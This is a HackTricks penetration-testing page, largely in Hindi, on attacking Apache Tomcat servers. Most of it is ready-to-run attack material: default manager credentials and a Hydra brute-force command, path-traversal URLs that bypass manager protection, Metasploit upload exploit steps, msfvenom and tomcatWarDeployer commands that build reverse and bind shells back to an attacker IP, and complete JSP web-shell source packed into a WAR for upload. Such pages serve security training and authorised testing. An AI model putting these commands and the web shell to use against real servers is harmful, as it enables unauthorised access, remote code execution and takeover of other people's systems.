Tomcat

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Discovery

  • यह आमतौर पर पोर्ट 8080 पर चलता है

  • सामान्य Tomcat त्रुटि:

Enumeration

संस्करण पहचान

Apache Tomcat के संस्करण को खोजने के लिए, एक साधारण कमांड निष्पादित की जा सकती है:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

यह दस्तावेज़ अनुक्रमणिका पृष्ठ में "Tomcat" शब्द के लिए खोज करेगा, जो HTML प्रतिक्रिया के शीर्षक टैग में संस्करण को प्रकट करेगा।

प्रबंधक फ़ाइलों का स्थान

/manager और /host-manager निर्देशिकाओं के सटीक स्थानों की पहचान करना महत्वपूर्ण है क्योंकि उनके नाम बदले जा सकते हैं। इन पृष्ठों को खोजने के लिए ब्रूट-फोर्स खोज की सिफारिश की जाती है।

उपयोगकर्ता नाम गणना

Tomcat के 6 से पुराने संस्करणों के लिए, उपयोगकर्ता नामों की गणना करना संभव है:

msf> use auxiliary/scanner/http/tomcat_enum

डिफ़ॉल्ट क्रेडेंशियल्स

/manager/html निर्देशिका विशेष रूप से संवेदनशील है क्योंकि यह WAR फ़ाइलों के अपलोड और तैनाती की अनुमति देती है, जो कोड निष्पादन की ओर ले जा सकती है। यह निर्देशिका बुनियादी HTTP प्रमाणीकरण द्वारा सुरक्षित है, सामान्य क्रेडेंशियल्स हैं:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

इन क्रेडेंशियल्स का परीक्षण किया जा सकता है:

msf> use auxiliary/scanner/http/tomcat_mgr_login

एक और महत्वपूर्ण निर्देशिका /manager/status है, जो Tomcat और OS संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है।

Brute Force Attack

प्रबंधक निर्देशिका पर ब्रूट फोर्स हमले का प्रयास करने के लिए, कोई उपयोग कर सकता है:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

सामान्य कमजोरियाँ

पासवर्ड बैकट्रेस प्रकटीकरण

/auth.jsp तक पहुँचने से भाग्यशाली परिस्थितियों में बैकट्रेस के तहत पासवर्ड प्रकट हो सकता है।

डबल URL एन्कोडिंग

mod_jk में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ यात्रा की अनुमति देती हैं, जिससे विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफ़ेस तक अनधिकृत पहुँच संभव होती है।

टॉमकैट के प्रबंधन वेब तक पहुँचने के लिए जाएँ: pathTomcat/%252E%252E/manager/html

/examples

Apache Tomcat संस्करण 4.x से 7.x में उदाहरण स्क्रिप्ट शामिल हैं जो जानकारी के प्रकटीकरण और क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों के प्रति संवेदनशील हैं। इन स्क्रिप्टों की पूरी सूची को अनधिकृत पहुँच और संभावित शोषण के लिए जांचा जाना चाहिए। यहाँ अधिक जानकारी प्राप्त करें

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

पथ यात्रा शोषण

कुछ टॉमकैट के संवेदनशील कॉन्फ़िगरेशन में आप पथ का उपयोग करके टॉमकैट में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: /..;/

तो, उदाहरण के लिए, आप टॉमकैट प्रबंधक पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: www.vulnerable.com/lalala/..;/manager/html

एक और तरीका इस चाल का उपयोग करके संरक्षित पथों को बायपास करने का है: http://www.vulnerable.com/;param=value/manager/html

RCE

अंत में, यदि आपके पास टॉमकैट वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)

सीमाएँ

आप केवल तभी WAR तैनात कर पाएंगे जब आपके पास पर्याप्त विशेषाधिकार (भूमिकाएँ: admin, manager और manager-script) हों। ये विवरण आमतौर पर tomcat-users.xml के तहत पाए जा सकते हैं जो /usr/share/tomcat9/etc/tomcat-users.xml में परिभाषित होता है (यह संस्करणों के बीच भिन्न होता है) (देखें POST section)।

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

मेटास्प्लॉइट

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. तैनात करने के लिए वार बनाएँ:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
  1. revshell.war फ़ाइल अपलोड करें और इसे एक्सेस करें (/revshell/):

tomcatWarDeployer.py के साथ बाइंड और रिवर्स शेल

कुछ परिदृश्यों में यह काम नहीं करता (उदाहरण के लिए पुराने संस्करणों में)

डाउनलोड

git clone https://github.com/mgeeky/tomcatWarDeployer.git

रिवर्स शेल

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

बाइंड शेल

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Using Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

index.jsp को इस सामग्री के साथ बनाएं:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

आप इसे भी स्थापित कर सकते हैं (अपलोड, डाउनलोड और कमांड निष्पादन की अनुमति देता है): http://vonloesch.de/filebrowser.html

मैनुअल विधि 2

एक JSP वेब शेल प्राप्त करें जैसे यह और एक WAR फ़ाइल बनाएं:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcat क्रेडेंशियल्स फ़ाइल का नाम tomcat-users.xml है और यह फ़ाइल टॉमकैट के अंदर उपयोगकर्ता की भूमिका को दर्शाती है।

find / -name tomcat-users.xml 2>/dev/null

उदाहरण:

[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

अन्य टॉमकैट स्कैनिंग टूल

संदर्भ

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated